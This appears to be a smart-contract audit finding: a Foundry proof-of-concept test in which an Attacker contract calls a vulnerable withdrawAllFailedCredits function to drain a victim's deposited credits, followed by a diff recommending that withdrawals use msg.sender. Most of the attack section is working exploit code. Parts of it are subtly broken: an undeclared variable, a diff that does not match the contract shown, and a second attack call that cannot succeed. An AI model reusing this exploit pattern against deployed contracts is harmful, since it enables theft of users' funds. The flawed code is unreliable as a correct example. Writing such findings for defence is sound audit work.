This below is a complete Foundry test that demonstrates the PoC exploit against the vulnerable withdrawAllFailedCredits function.
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
contract Vulnerable {
mapping(address => uint256) public failedTransferCredits;
function deposit() external payable {
failedTransferCredits[msg.sender] += msg.value;
}
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[receiver] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
}
contract Attacker {
Vulnerable public target;
constructor(address _target) {
target = Vulnerable(_target);
}
function attack(address victim) external {
target.withdrawAllFailedCredits(victim);
}
receive() external payable {}
}
contract VulnerableExploitTest is Test {
Vulnerable vulnerable;
Attacker attackerContract;
address payable deployer = payable(address(0xABCD));
address payable victim = payable(address(0xBEEF));
address payable attacker = payable(address(0xCAFE));
function setUp() public {
vm.deal(deployer, 10 ether);
vm.prank(deployer);
vulnerable = new Vulnerable();
vm.deal(victim, 20 ether);
vm.deal(attacker, 5 ether);
vm.prank(victim);
vulnerable.deposit{value: 10 ether}();
assertEq(address(vulnerable).balance, 10 ether);
assertEq(vulnerable.failedTransferCredits(victim), 10 ether);
vm.prank(attacker);
attackerContract = new Attacker(address(vulnerable));
}
function testExploitStealsVictimCredits() public {
uint256 attackerInitial = attacker.balance;
uint256 contractInitial = address(vulnerable).balance;
uint256 victimCreditsBefore = vulnerable.failedTransferCredits(victim);
vm.prank(attacker);
attackerContract.attack(victim);
uint256 attackerFinal = attacker.balance;
uint256 contractFinal = address(vulnerable).balance;
uint256 victimCreditsAfter = vulnerable.failedTransferCredits(victim);
assertEq(attackerFinal - attackerInitial, victimCreditsBefore);
assertEq(contractInitial - contractFinal, victimCreditsBefore);
assertEq(victimCreditsAfter, victimCreditsBefore);
vm.prank(attacker);
attackerContract.attack(victim);
assertEq(attacker.balance - attackerFinal, victimCreditsBefore);
}
}
This is a recommded solution to replace the _reciever to msg.sender.
- function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
+ function withdrawAllFailedCredits() external {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}